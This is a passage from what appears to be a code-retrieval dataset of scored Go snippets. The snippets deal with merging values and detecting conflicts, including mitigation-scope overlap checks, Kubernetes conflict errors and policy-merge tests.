v2.Kind()\n\tif k1 != k2 {\n\t\tlog.Error(ctx.ctx, \"different types in merge: %+v (%s) vs %v (%s)\", v1, v1.Kind(), v2, v2.Kind())\n\t\tos.Exit(255)\n\t}\n\tswitch k1 {\n\tcase reflect.Struct:\n\t\tfor i := 0; i < v1.NumField(); i++ {\n\t\t\tf1, f2 := v1.Field(i), v2.Field(i)\n\t\t\tif !f1.CanSet() {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tv := mergeOrDie(ctx, f1.Addr().Interface(), f2.Addr().Interface())\n\t\t\tf1.Set(reflect.Indirect(reflect.ValueOf(v)))\n\t\t}\n\tcase reflect.Map:\n\t\t// TODO(razvanm): figure out why the default doesn't work.\n\t\tif v2.Len() > 0 {\n\t\t\tv1.Set(v2)\n\t\t}\n\tdefault:\n\t\tzero := reflect.Zero(v2.Type()).Interface()\n\t\tif !reflect.DeepEqual(v2.Interface(), zero) {\n\t\t\tv1.Set(v2)\n\t\t}\n\t}\n\treturn i1\n}", "title": "" }, { "docid": "3ee2e3d33fb1ae20ad3fde81fcbd1989", "score": "0.48921633", "text": "func (d *differ) checkCompatibleObjectSets(obj types.Object, old, new map[string]types.Object) {\n\tfor name, oldo := range old {\n\t\tnewo := new[name]\n\t\tif newo == nil {\n\t\t\td.incompatible(obj, name, \"removed\")\n\t\t} else {\n\t\t\td.checkCorrespondence(obj, name, oldo.Type(), newo.Type())\n\t\t}\n\t}\n\tfor name := range new {\n\t\tif old[name] == nil {\n\t\t\td.compatible(obj, name, \"added\")\n\t\t}\n\t}\n}", "title": "" }, { "docid": "d110f0d977a0236aec906b2c0dae5296", "score": "0.48913625", "text": "func TestActionResourceMerge(t *testing.T) {\n\tcases := []struct {\n\t\ta ActionResource\n\t\tb ActionResource\n\t\tr ActionResource\n\t}{\n\t\t{\n\t\t\ta: ActionResource{\n\t\t\t\tConflicting: false,\n\t\t\t\tConflictQuantity: map[ActionFormula]resource.Quantity{\n\t\t\t\t\tFormulaStep: resource.MustParse(\"5\"),\n\t\t\t\t}},\n\t\t\tb: ActionResource{\n\t\t\t\tConflicting: false,\n\t\t\t\tConflictQuantity: map[ActionFormula]resource.Quantity{\n\t\t\t\t\tFormulaStep: resource.MustParse(\"4\"),\n\t\t\t\t}},\n\t\t\tr: ActionResource{\n\t\t\t\tConflicting: false,\n\t\t\t\tConflictQuantity: map[ActionFormula]resource.Quantity{\n\t\t\t\t\tFormulaStep: resource.MustParse(\"4\"),\n\t\t\t\t}},\n\t\t},\n\t\t{\n\t\t\ta: ActionResource{\n\t\t\t\tConflicting: false,\n\t\t\t\tConflictQuantity: map[ActionFormula]resource.Quantity{\n\t\t\t\t\tFormulaStep: resource.MustParse(\"5\"),\n\t\t\t\t}},\n\t\t\tb: ActionResource{\n\t\t\t\tConflicting: true,\n\t\t\t\tConflictQuantity: map[ActionFormula]resource.Quantity{\n\t\t\t\t\tFormulaStep: resource.MustParse(\"4\"),\n\t\t\t\t}},\n\t\t\tr: ActionResource{\n\t\t\t\tConflicting: true,\n\t\t\t\tConflictQuantity: map[ActionFormula]resource.Quantity{\n\t\t\t\t\tFormulaStep: resource.MustParse(\"4\"),\n\t\t\t\t}},\n\t\t},\n\t\t{\n\t\t\ta: ActionResource{\n\t\t\t\tConflicting: true,\n\t\t\t\tConflictQuantity: map[ActionFormula]resource.Quantity{\n\t\t\t\t\tFormulaStep: resource.MustParse(\"5\"),\n\t\t\t\t\tFormulaTotal: resource.MustParse(\"1\"),\n\t\t\t\t}},\n\t\t\tb: ActionResource{\n\t\t\t\tConflicting: true,\n\t\t\t\tConflictQuantity: map[ActionFormula]resource.Quantity{\n\t\t\t\t\tFormulaPercent: resource.MustParse(\"20\"),\n\t\t\t\t}},\n\t\t\tr: ActionResource{\n\t\t\t\tConflicting: true,\n\t\t\t\tConflictQuantity: map[ActionFormula]resource.Quantity{\n\t\t\t\t\tFormulaStep: resource.MustParse(\"5\"),\n\t\t\t\t\tFormulaPercent: resource.MustParse(\"20\"),\n\t\t\t\t\tFormulaTotal: resource.MustParse(\"1\"),\n\t\t\t\t}},\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tr := c.a.MergeByLittle(c.b)\n\t\tassert.DeepEqual(t, c.r, r)\n\t}\n}", "title": "" }, { "docid": "6f4a9a5fce63e0f47c7da78fb7d67808", "score": "0.48904124", "text": "func TestMerge_default(t *testing.T) {\n\tconfigOptions := map[string]px.Value{hieraapi.HieraConfig: types.WrapString(`testdata/merge.yaml`)}\n\thiera.DoWithParent(context.Background(), provider.ConfigLookupKey, configOptions, func(c px.Context) {\n\t\t// m.a only exists in the first provider\n\t\tresult := hiera.Lookup(internal.NewInvocation(c, nil, nil), `m.a`, nil, nil)\n\t\tif result == nil || `first value of a` != result.String() {\n\t\t\tt.Fatalf(\"unexpected result %v\", result)\n\t\t}\n\n\t\t// m.b only exists in the second provider and is hence not found since the hashes are not merged\n\t\terr := util.Catch(func() {\n\t\t\thiera.Lookup(internal.NewInvocation(c, nil, nil), `m.b`, nil, nil)\n\t\t})\n\t\tre, ok := err.(issue.Reported)\n\t\tif !(ok && re.Code() == hieraapi.NameNotFound) {\n\t\t\tt.Fatalf(\"unexpected error %v\", err)\n\t\t}\n\n\t\t// m.c exists in both but since no merge occurs, the first one is selected\n\t\tresult = hiera.Lookup(internal.NewInvocation(c, nil, nil), `m.c`, nil, nil)\n\t\tif result == nil || `first value of c` != result.String() {\n\t\t\tt.Fatalf(\"unexpected result %v\", result)\n\t\t}\n\t})\n}", "title": "" }, { "docid": "5c36eda648f352bb39c6e2d794c0d274", "score": "0.48819682", "text": "func ValidateAndCheckOverlap(customer *models.Customer, requestScope *models.MitigationScope, currentScope *models.MitigationScope,\n\taliases types.Aliases, blockerType string) (*models.ConflictInformation, error) {\n\n\tvar err error\n\tvar mitigations []models.MitigationScope\n\tvar isOverride bool = false\n\tvar overridedMitigation models.MitigationScope\n\n\t// Validate data(prefix, fqdn, uri, port-range, protocol, alias-name) inside mitigation scope\n\tvalidator := models.GetMitigationScopeValidator(blockerType)\n\tif validator == nil { return nil, errors.New(\"Unknown blocker type: \" + blockerType)}\n errMsg := validator.ValidateScope(models.MessageEntity(requestScope), customer, &aliases)\n\tif errMsg != \"\" {\n\t\tlog.Error(\"[Validation]: Mitigation scope data is invalid.\")\n\t\terrMsg = fmt.Sprintf(\"%+v : %+v\", models.ValidationError, errMsg)\n\t\terr = errors.New(errMsg)\n\t\treturn nil, err\n\t}\n\n\t// Get all active mitigation from DB\n\tif currentScope != nil {\n\t\tmitigations, err = GetOtherActiveMitigations(&currentScope.MitigationScopeId)\n\t} else {\n\t\tmitigations, err = GetOtherActiveMitigations(nil)\n\t}\n\tif err != nil {\n\t\tlog.Error(\"Failed to get active mitigations.\")\n\t\treturn nil, err\n\t}\n\n\t// Loop on list of active mitigations that are protected by third party\n\tfor _, mitigation := range mitigations {\n\t\t// Check cuid collision\n\t\tlog.Debugf(\"Check cuid collision for: %+v of client %+v compare with %+v of client %+v\",\n\t\t requestScope.ClientIdentifier, customer.Id, mitigation.ClientIdentifier, mitigation.Customer.Id)\n\t\tif currentScope == nil && customer.Id != mitigation.Customer.Id && requestScope.ClientIdentifier == mitigation.ClientIdentifier {\n\t\t\tlog.Errorf(\"[CUID collision]: Cuid: %+v has already been used by client: %+v\", requestScope.ClientIdentifier, mitigation.Customer.Id)\n\t\t\t// Response Conflict Information to client\n\t\t\tconflictInfo := models.ConflictInformation {\n\t\t\t\tConflictCause: models.CUID_COLLISION,\n\t\t\t\tConflictScope: nil,\n\t\t\t}\n\t\t\treturn &conflictInfo, nil\n\t\t}\n\n\t\t// Check overlap mitigation data with active mitigations\n\t\tlog.Debugf(\"Check overlap for mitigation scope data with id: %+v\", requestScope.MitigationId)\n\t\tisOverlap, conflictInfo, err := validator.CheckOverlap(requestScope, &mitigation, false)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif isOverlap {\n\t\t\tif conflictInfo != nil {\n\t\t\t\tlog.Warnf(\"[Overlap]: There is overlap between request mitigation: %+v and current mitigation: %+v\", requestScope.MitigationId, mitigation.MitigationId)\n\t\t\t} else {\n\t\t\t\tisOverride = true\n\t\t\t\toverridedMitigation = mitigation\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\n\t\t// Check overlap alias data with all active mitigations\n\t\tfor _, alias := range aliases.Alias {\n\n\t\t\taliasScope := models.NewMitigationScope(customer, requestScope.ClientIdentifier)\n\t\t\terr = appendAliasDataToMitigationScope(alias, aliasScope)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\t// Get target list from alias scope\n\t\t\taliasScope.TargetList, err = aliasScope.GetTargetList()\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\t// Check overlap mitigation data with active mitigations\n\t\t\tlog.Debugf(\"Check overlap for alias scope data with name: %+v\", alias.Name)\n\t\t\tvar info *models.ConflictInformation\n\t\t\tisOverlap, info, err = validator.CheckOverlap(aliasScope, &mitigation, true)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tif isOverlap {\n\t\t\t\tif info != nil {\n\t\t\t\t\t// Assign info from check overlap for alias to conflict information response when there is no overlap in mitigation request scope\n\t\t\t\t\tif conflictInfo == nil { conflictInfo = info }\n\n\t\t\t\t\tlog.Warnf(\"[Overlap]: There is overlap data between request alias: %+v and current mitigation: %+v\", alias.Name, mitigation.MitigationId)\n\t\t\t\t\tif conflictInfo.ConflictScope.MitigationId == 0 {\n\t\t\t\t\t\tconflictInfo.ConflictScope.AliasName.Append(alias.Name)\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tisOverride = true\n\t\t\t\t\toverridedMitigation = mitigation\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// return conflict info when check overlap for all data in mitigation request scope\n\t\tif conflictInfo != nil {\n\t\t\treturn conflictInfo, nil\n\t\t}\n\n\t}\n\n\tif isOverride {\n\t\tif requestScope.TriggerMitigation == overridedMitigation.TriggerMitigation {\n\t\t\t// The mitigation request will override the current mitigation\n\t\t\tlog.Debugf(\"[Overlap]: Request mitigation: %+v will override current mitigation: %+v\", requestScope.MitigationId, overridedMitigation.MitigationId)\n\t\t\terr = UpdateMitigationStatus(overridedMitigation.Customer.Id, overridedMitigation.ClientIdentifier,\n\t\t\t\toverridedMitigation.MitigationId, overridedMitigation.MitigationScopeId, models.Terminated, true)\n\t\t\tif err != nil {\n\t\t\t\tlog.Errorf(\"Terminate expired mitigation (id = %+v) failed. Error: %+v\", overridedMitigation.MitigationId, err)\n\t\t\t}\n\t\t} else if !overridedMitigation.TriggerMitigation {\n\t\t\t// The current mitigation will be withdrawn\n\t\t\tlog.Debugf(\"[Overlap]: The current mitigation: %+v will be deactivated because overlap with the request mitigation: %+v\", overridedMitigation.MitigationId, requestScope.MitigationId)\n\t\t\tUpdateMitigationStatus(overridedMitigation.Customer.Id, overridedMitigation.ClientIdentifier,\n\t\t\t\toverridedMitigation.MitigationId, overridedMitigation.MitigationScopeId, models.Withdrawn, true)\n\t\t}\n\t}\n\treturn nil, nil\n}", "title": "" }, { "docid": "ec760234be3cf31b81d01e5de277d9db", "score": "0.48813495", "text": "func TestTypeRef(t *testing.T) {\n\tt.Parallel()\n\tconst src = `\n\t\ttype (X, Y) Pair {x: X y: Y}\n\t\tval stringFloatPair (String, Float) Pair := [{x: \"hello\" y: 3.14}]\n\n\t\tval i Int := [5]\n\t\tval iRef Int& := [6]\n\t`\n\tp := ast.NewParser(\"/test/test\")\n\tif err := p.Parse(\"\", strings.NewReader(src)); err != nil {\n\t\tt.Fatalf(\"failed to parse source: %s\", err)\n\t}\n\tmod, errs := Check(p.Mod(), Config{})\n\tif len(errs) > 0 {\n\t\tt.Fatalf(\"failed to check the source: %v\", errs)\n\t}\n\n\tsf := findTestVal(mod, \"stringFloatPair\").Var.Type()\n\tsfRef := sf.Ref()\n\twant := \"(String, Float) #test Pair&\"\n\tif got := sfRef.String(); got != want {\n\t\tt.Errorf(\"got %s, want %s\", got, want)\n\t}\n\n\t// Test that multiple calls get the same object back.\n\tsfRef2 := sf.Ref()\n\tif sfRef != sfRef2 {\n\t\tt.Errorf(\"sfRef2 != sfRef\")\n\t}\n\n\tsfRefRef := sfRef.Ref()\n\twant = \"(String, Float) #test Pair& &\"\n\tif got := sfRefRef.String(); got != want {\n\t\tt.Errorf(\"got %s, want %s\", got, want)\n\t}\n\n\tsfRefRefRef := sfRefRef.Ref()\n\twant = \"(String, Float) #test Pair& & &\"\n\tif got := sfRefRefRef.String(); got != want {\n\t\tt.Errorf(\"got %s, want %s\", got, want)\n\t}\n\n\t// A Int& should already be instantiated by Check.\n\t// Check that we get the same type when calling Int.Ref().\n\ti := findTestVal(mod, \"i\").Var.Type()\n\tiRef := findTestVal(mod, \"iRef\").Var.Type()\n\tif i.Ref() != iRef {\n\t\tt.Errorf(\"i.Ref() != iRef\")\n\t}\n}", "title": "" }, { "docid": "8b498940b61202f12b7d14b9a25402db", "score": "0.48813307", "text": "func Test_tip_100_compatible_and_incompatible_contracts(t *testing.T) {\n\tconst notTip100ContractName = \"not_\" + testconstants.ContractName\n\n\t// Name of the SC view to be requested - Defined in smartcontract/iota_sc_utils/src/interfaces.rs > NAME_FUNC_IMPLEMENTS\n\tconst name_function_implements = testconstants.NameFuncImplements\n\t// Name of the TIP-100 interface - Defined in lib.rs > add_view > implements\n\tconst name_interface_tip100 = testconstants.NameInterfaceTip100\n\t// Name of the TIP-100 interface - Defined in smartcontract/iota_sc_utils/src/interfaces.rs > HNAME_INTERFACE_TIP_100\n\thname_interface_tip100 := testutils.EncodeHName((uint32)(0xeae53bfb))\n\n\tnotSolo := notsolo.New(t)\n\n\tchainName := testconstants.ContractName + \"Chain\"\n\tchain := notSolo.Chain.NewChain(nil, chainName)\n\n\t// Map contractName to contract file path\n\tcontractNameToContract := make(map[string]string)\n\n\t// You can use if file is in SmartContract/rust/tip-100-compatible-sc/pkg\n\tcontractNameToContract[testconstants.ContractName] = testutils.MustGetContractWasmFilePath(t, testconstants.ContractName, true)\n\t// You can use if file is in SmartContract/rust/tip-100-incompatible-sc/pkg\n\tcontractNameToContract[notTip100ContractName] = testutils.MustGetContractWasmFilePath(t, notTip100ContractName, false)\n\n\t// Map contractName to expected value\n\tcontractNameToTest := make(map[string]bool)\n\n\t// hexadecimal number and the expected result\n\tcontractNameToTest[testconstants.ContractName] = true\n\tcontractNameToTest[notTip100ContractName] = false\n\n\tfor contractName, expectedResult := range contractNameToTest {\n\n\t\tt.Run(contractName, func(t *testing.T) {\n\t\t\t// Uploads wasm of the tip100-compatible SC and deploys them into chain\n\t\t\tnotSolo.Chain.DeployWasmContract(chain, nil, contractName, contractNameToContract[contractName])\n\n\t\t\t// Call contract function 'implements'\n\t\t\tresponse, err := notSolo.Request.View(chain, contractName, name_function_implements, name_interface_tip100, hname_interface_tip100)\n\n\t\t\t// Expect tip100-compatible SC implements interface\n\t\t\tif expectedResult {\n\t\t\t\timplements := notSolo.Data.MustGetBool(response[name_interface_tip100])\n\t\t\t\trequire.True(t, expectedResult, implements)\n\t\t\t} else {\n\t\t\t\trequire.Nil(t, response)\n\t\t\t\trequire.Error(t, err)\n\t\t\t}\n\t\t})\n\t}\n\t// notSolo.Chain.DeployWasmContract(chain, nil, notTip100ContractName, not_tip100_contractWasmFilePath)\n}", "title": "" }, { "docid": "c67fd4a884530274281852d3e51e958f", "score": "0.4860855", "text": "func errUnsupportedMergeType(a *proto3.Value) error {\n\treturn spannerErrorf(codes.FailedPrecondition, \"unsupported type merge (%T)\", a.Kind)\n}", "title": "" }, { "docid": "ac506bf10ab284abd744852dfd6ee3e3", "score": "0.4846695", "text": "func CheckOperatorCollisions(pkg *ChaiPackage) {\n\t// check globally defined operator collisions\n\tfor _, op := range pkg.OperatorTable {\n\t\tfor i, overload := range op.Overloads {\n\t\tsearchloop:\n\t\t\tfor j, o2 := range op.Overloads {\n\t\t\t\tif i != j {\n\t\t\t\t\tif len(overload.Signature.Args) == len(o2.Signature.Args) {\n\t\t\t\t\t\tfor k, arg := range overload.Signature.Args {\n\t\t\t\t\t\t\tif !arg.Equiv(o2.Signature.Args[k]) {\n\t\t\t\t\t\t\t\tcontinue searchloop\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\treport.ReportCompileError(\n\t\t\t\t\t\t\toverload.Context,\n\t\t\t\t\t\t\toverload.Position,\n\t\t\t\t\t\t\tfmt.Sprintf(\"conflicting definitions for `%s`: `%s` v `%s`\", op.OpName, overload.Signature.Repr(), o2.Signature.Repr()),\n\t\t\t\t\t\t)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// TODO: check for imported operator conflicts\n}", "title": "" }, { "docid": "58994ea615ad94dd89604e75f4ace319", "score": "0.48425597", "text": "func TestShardConfigurationsDiffer(t *testing.T) {\n\tassert := assert.New(t)\n\t// setup\n\trm := provideResourceManager()\n\t// Tests\n\tt.Run(\"NoDiff=NoSpec_NoStatus\", func(t *testing.T) {\n\t\tdesired := provideResource()\n\t\tlatest := provideResource()\n\t\tdiffer := rm.shardConfigurationsDiffer(desired, latest)\n\t\tassert.False(differ)\n\t})\n\tt.Run(\"NoDiff=NoSpec_Status.NodeGroups\", func(t *testing.T) {\n\t\tdesired := provideResource()\n\t\tlatest := provideResource()\n\t\tlatest.ko.Status.NodeGroups = provideNodeGroups(\"1001\")\n\t\tdiffer := rm.shardConfigurationsDiffer(desired, latest)\n\t\tassert.False(differ)\n\t})\n\tt.Run(\"Diff=Spec.NumNodeGroups_NoStatus\", func(t *testing.T) {\n\t\tdesired := provideResource()\n\t\tlatest := provideResource()\n\t\tdesiredShards := int64(2)\n\t\tdesired.ko.Spec.NumNodeGroups = &desiredShards\n\t\tdiffer := rm.shardConfigurationsDiffer(desired, latest)\n\t\tassert.True(differ)\n\t})\n\tt.Run(\"Diff=Spec.NodeGroupConfiguration_NoStatus\", func(t *testing.T) {\n\t\tdesired := provideResource()\n\t\tlatest := provideResource()\n\t\tdesired.ko.Spec.NodeGroupConfiguration = provideNodeGroupConfiguration(\"1001\")\n\t\tdiffer := rm.shardConfigurationsDiffer(desired, latest)\n\t\tassert.True(differ)\n\t})\n\tt.Run(\"NoDiff=Spec.NodeGroupConfiguration_Status.NodeGroups\", func(t *testing.T) {\n\t\tdesired := provideResource()\n\t\tlatest := provideResource()\n\t\tdesired.ko.Spec.NodeGroupConfiguration = provideNodeGroupConfiguration(\"1001\")\n\t\tlatest.ko.Status.NodeGroups = provideNodeGroups(\"1001\")\n\t\tdiffer := rm.shardConfigurationsDiffer(desired, latest)\n\t\tassert.False(differ)\n\t})\n\tt.Run(\"Diff=ScaleIn_Spec.NodeGroupConfiguration_Status.NodeGroups\", func(t *testing.T) {\n\t\tdesired := provideResource()\n\t\tlatest := provideResource()\n\t\tdesired.ko.Spec.NodeGroupConfiguration = provideNodeGroupConfiguration(\"1001\", \"1002\")\n\t\tlatest.ko.Status.NodeGroups = provideNodeGroups(\"1001\", \"1002\", \"1003\")\n\t\tdiffer := rm.shardConfigurationsDiffer(desired, latest)\n\t\tassert.True(differ)\n\t})\n\tt.Run(\"Diff=ScaleOut_Spec.NodeGroupConfiguration_Status.NodeGroups\", func(t *testing.T) {\n\t\tdesired := provideResource()\n\t\tlatest := provideResource()\n\t\tdesired.ko.Spec.NodeGroupConfiguration = provideNodeGroupConfiguration(\"1001\", \"1002\")\n\t\tlatest.ko.Status.NodeGroups = provideNodeGroups(\"1001\")\n\t\tdiffer := rm.shardConfigurationsDiffer(desired, latest)\n\t\tassert.True(differ)\n\t})\n\tt.Run(\"NoDiff=Spec.NumNodeGroups_Status.NodeGroups\", func(t *testing.T) {\n\t\tdesired := provideResource()\n\t\tlatest := provideResource()\n\t\tdesiredShards := int64(1)\n\t\tdesired.ko.Spec.NumNodeGroups = &desiredShards\n\t\tlatest.ko.Status.NodeGroups = provideNodeGroups(\"1001\")\n\t\tdiffer := rm.shardConfigurationsDiffer(desired, latest)\n\t\tassert.False(differ)\n\t})\n\tt.Run(\"Diff=Spec.NumNodeGroups_Status.NodeGroups\", func(t *testing.T) {\n\t\tdesired := provideResource()\n\t\tlatest := provideResource()\n\t\tdesiredShards := int64(2)\n\t\tdesired.ko.Spec.NumNodeGroups = &desiredShards\n\t\tlatest.ko.Status.NodeGroups = provideNodeGroups(\"1001\")\n\t\tdiffer := rm.shardConfigurationsDiffer(desired, latest)\n\t\tassert.True(differ)\n\t})\n\n\tt.Run(\"NoDiff=Prefer_Spec.NumNodeGroups\", func(t *testing.T) {\n\t\tdesired := provideResource()\n\t\tlatest := provideResource()\n\t\tdesiredShards := int64(2)\n\t\tdesired.ko.Spec.NumNodeGroups = &desiredShards\n\t\tdesired.ko.Spec.NodeGroupConfiguration = provideNodeGroupConfiguration(\"1001\", \"1002\", \"1003\")\n\t\tlatest.ko.Status.NodeGroups = provideNodeGroups(\"1001\", \"1002\")\n\t\tdiffer := rm.shardConfigurationsDiffer(desired, latest)\n\t\tassert.False(differ)\n\t})\n}", "title": "" }, { "docid": "87e0eae826c7600e6dc05aa19082711b", "score": "0.4838132", "text": "func unmergeable(a, b types.Value) bool {\n\tif a != nil && b != nil {\n\t\taKind, bKind := a.Kind(), b.Kind()\n\t\treturn aKind != bKind || types.IsPrimitiveKind(aKind) || types.IsPrimitiveKind(bKind)\n\t}\n\treturn true\n}", "title": "" }, { "docid": "281673428ff086929efd13880d13ca96", "score": "0.4830482", "text": "func TestAllClusterTypesAreSynced(t *testing.T) {\n\tversionsThatDontNeedTests := sets.NewString(\n\t\t// The internal Cluster type should only be used...internally...and therefore doesn't\n\t\t// necessarily need to be synced with clientcmdv1.\n\t\truntime.APIVersionInternal,\n\t\t// We have a test for v1beta1 above.\n\t\tclientauthenticationv1beta1.SchemeGroupVersion.Version,\n\t\t// We have a test for v1 above.\n\t\tclientauthenticationv1.SchemeGroupVersion.Version,\n\t)\n\tfor gvk := range scheme.AllKnownTypes() {\n\t\tif gvk.Group == clientauthenticationv1beta1.SchemeGroupVersion.Group &&\n\t\t\tgvk.Kind == \"ExecCredential\" {\n\t\t\tif !versionsThatDontNeedTests.Has(gvk.Version) {\n\t\t\t\tt.Errorf(\n\t\t\t\t\t\"TODO: add test similar to TestV1beta1ClusterTypesAreSynced for client.authentication.k8s.io/%s\",\n\t\t\t\t\tgvk.Version,\n\t\t\t\t)\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "f700963eb7ffb350d60188b90ade8f91", "score": "0.4812553", "text": "func (r *resource) IsConflict(isTCPUDPReuse bool, otherRes *resource) bool {\n\tif otherRes == nil {\n\t\treturn false\n\t}\n\n\tfor portVal, port := range r.usedPort {\n\t\tif otherPort, ok := otherRes.usedPort[portVal]; ok {\n\t\t\tif port.isConflictWithPort(isTCPUDPReuse, otherPort) {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\n\t\tfor _, otherPortSeg := range otherRes.usedPortSegment {\n\t\t\tif port.isConflictWithPortSeg(isTCPUDPReuse, otherPortSeg) {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\n\tfor _, portSeg := range r.usedPortSegment {\n\t\tfor _, port := range otherRes.usedPort {\n\t\t\tif portSeg.isConflictWithPort(isTCPUDPReuse, port) {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\n\t\tfor _, otherPortSeg := range otherRes.usedPortSegment {\n\t\t\tif portSeg.isConflictWithPortSeg(isTCPUDPReuse, otherPortSeg) {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "9cef551e481db89d5a879d6fe2a20425", "score": "0.48063752", "text": "func TestTypePackageSetInterfaceError(t *testing.T) {\n\ttpset := NewTypePackageSet()\n\t_, err := tpset.Import(\"github.com/shabbyrobe/structer/testpkg/intferr\")\n\tif err != nil {\n\t\tt.Errorf(\"expected no error\")\n\t}\n\tfound := []string{}\n\tfor k := range tpset.Objects {\n\t\tfound = append(found, k.String())\n\t}\n\texpected := []string{\n\t\t\"github.com/shabbyrobe/structer/testpkg/intferr.Pants\",\n\t\t\"github.com/shabbyrobe/structer/testpkg/intferr.Pantsable\",\n\t}\n\tsort.Strings(found)\n\tif !reflect.DeepEqual(found, expected) {\n\t\tt.Errorf(\"types did not match expected\")\n\t}\n}", "title": "" }, { "docid": "37f1f5bf9af96aafd517b0d490da723b", "score": "0.48026595", "text": "func Conflict(c *gin.Context, payloads interface{}) {\n\tc.JSON(http.StatusConflict, payloads)\n\treturn\n}", "title": "" }, { "docid": "9cca34782cc7d89049af8865b7c396f5", "score": "0.479413", "text": "func IsK8sConflict(err error) bool {\n\tif apiErr, ok := errors.Cause(err).(*k8s.APIError); ok {\n\t\treturn apiErr.Code == http.StatusConflict && apiErr.Status != nil && apiErr.Status.GetReason() == \"Conflict\"\n\t}\n\treturn false\n}", "title": "" }, { "docid": "4e9a7decbb10f1caf3b5df3a5d9f2682", "score": "0.47900516", "text": "func CompareDiscovery(result, expected cabby.Discovery) bool {\n\tpassed := true\n\n\tif result.Title != expected.Title {\n\t\tlog.Error(\"Got:\", result.Title, \"Expected:\", expected.Title)\n\t\tpassed = false\n\t}\n\tif result.Description != expected.Description {\n\t\tlog.Error(\"Got:\", result.Description, \"Expected:\", expected.Description)\n\t\tpassed = false\n\t}\n\tif result.Contact != expected.Contact {\n\t\tlog.Error(\"Got:\", result.Contact, \"Expected:\", expected.Contact)\n\t\tpassed = false\n\t}\n\n\tif result.Default != expected.Default {\n\t\tlog.Error(\"Got:\", result.Default, \"Expected:\", expected.Default)\n\t\tpassed = false\n\t}\n\n\tfor _, apiRoot := range result.APIRoots {\n\t\tif apiRoot != apiRoot {\n\t\t\tlog.Error(\"Got:\", result.APIRoots[0], \"Expected:\", expected.APIRoots[0])\n\t\t\tpassed = false\n\t\t}\n\t}\n\n\treturn passed\n}", "title": "" }, { "docid": "3e080ab2c5b20b8dd236af3f3c41a394", "score": "0.47872707", "text": "func IsConflict(err error) bool {\n\terr2, ok := err.(*httpError)\n\tif !ok {\n\t\treturn false\n\t}\n\treturn err2.code == http.StatusConflict\n}", "title": "" }, { "docid": "906136bc98995f121ded2f0703e44d8a", "score": "0.47860378", "text": "func (c *Contents) ConflictsWithAlreadyTracked(org string, pol *Policy) string {\n\tif !c.HasOrg(org) {\n\t\treturn \"\"\n\t} else {\n\t\tfor fn, we := range c.AllWatches[org] {\n\t\t\tif we.Pol.Header.Name == pol.Header.Name {\n\t\t\t\treturn fn\n\t\t\t}\n\t\t}\n\n\t}\n\treturn \"\"\n}", "title": "" }, { "docid": "e27549af72e8b165c12442d3de62e8ba", "score": "0.47715175", "text": "func (bc *Blockchain) ResolveConflicts() bool {\n\tvar newChain []Block\n\n\t// we are only looking for chains longer than ours\n\tmaxLen := len(bc.Chain)\n\n\tfor _, node := range bc.Nodes {\n\t\tfmt.Printf(\"[%s]\\n\", node)\n\n\t\tif otherChain, err := fetchChain(node); err == nil {\n\t\t\tfmt.Printf(\"[%s] Recieved: %+v\\n\", node, otherChain)\n\t\t\tif otherChain.Length > maxLen && ValidChain(otherChain.Chain) {\n\t\t\t\tmaxLen = otherChain.Length\n\t\t\t\tnewChain = otherChain.Chain\n\t\t\t\tfmt.Printf(\"[%s] has longer chain: %d\\n\", node, maxLen)\n\t\t\t} else {\n\t\t\t\tfmt.Printf(\"[%s] is invalid or smaller: %d\\n\", node, otherChain.Length)\n\t\t\t}\n\t\t}\n\t}\n\n\tif newChain != nil {\n\t\tbc.Chain = newChain\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "fa30b03f85a76488179e5312cc05ba63", "score": "0.4770588", "text": "func (ds *PolicyTestSuite) TestMergeIdenticalAllowAllL3AndMismatchingParsers(c *C) {\n\n\t// Case 5A: Kafka first, HTTP second.\n\tconflictingParsersRule := &rule{\n\t\tRule: api.Rule{\n\t\t\tEndpointSelector: endpointSelectorA,\n\t\t\tIngress: []api.IngressRule{\n\t\t\t\t{\n\t\t\t\t\tIngressCommonRule: api.IngressCommonRule{\n\t\t\t\t\t\tFromEndpoints: api.EndpointSelectorSlice{api.WildcardEndpointSelector},\n\t\t\t\t\t},\n\t\t\t\t\tToPorts: []api.PortRule{{\n\t\t\t\t\t\tPorts: []api.PortProtocol{\n\t\t\t\t\t\t\t{Port: \"80\", Protocol: api.ProtoTCP},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tRules: &api.L7Rules{\n\t\t\t\t\t\t\tKafka: []kafka.PortRule{\n\t\t\t\t\t\t\t\t{Topic: \"foo\"},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t}},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tIngressCommonRule: api.IngressCommonRule{\n\t\t\t\t\t\tFromEndpoints: []api.EndpointSelector{api.WildcardEndpointSelector},\n\t\t\t\t\t},\n\t\t\t\t\tToPorts: []api.PortRule{{\n\t\t\t\t\t\tPorts: []api.PortProtocol{\n\t\t\t\t\t\t\t{Port: \"80\", Protocol: api.ProtoTCP},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tRules: &api.L7Rules{\n\t\t\t\t\t\t\tHTTP: []api.PortRuleHTTP{\n\t\t\t\t\t\t\t\t{Method: \"GET\", Path: \"/\"},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t}},\n\t\t\t\t},\n\t\t\t},\n\t\t}}\n\n\tbuffer := 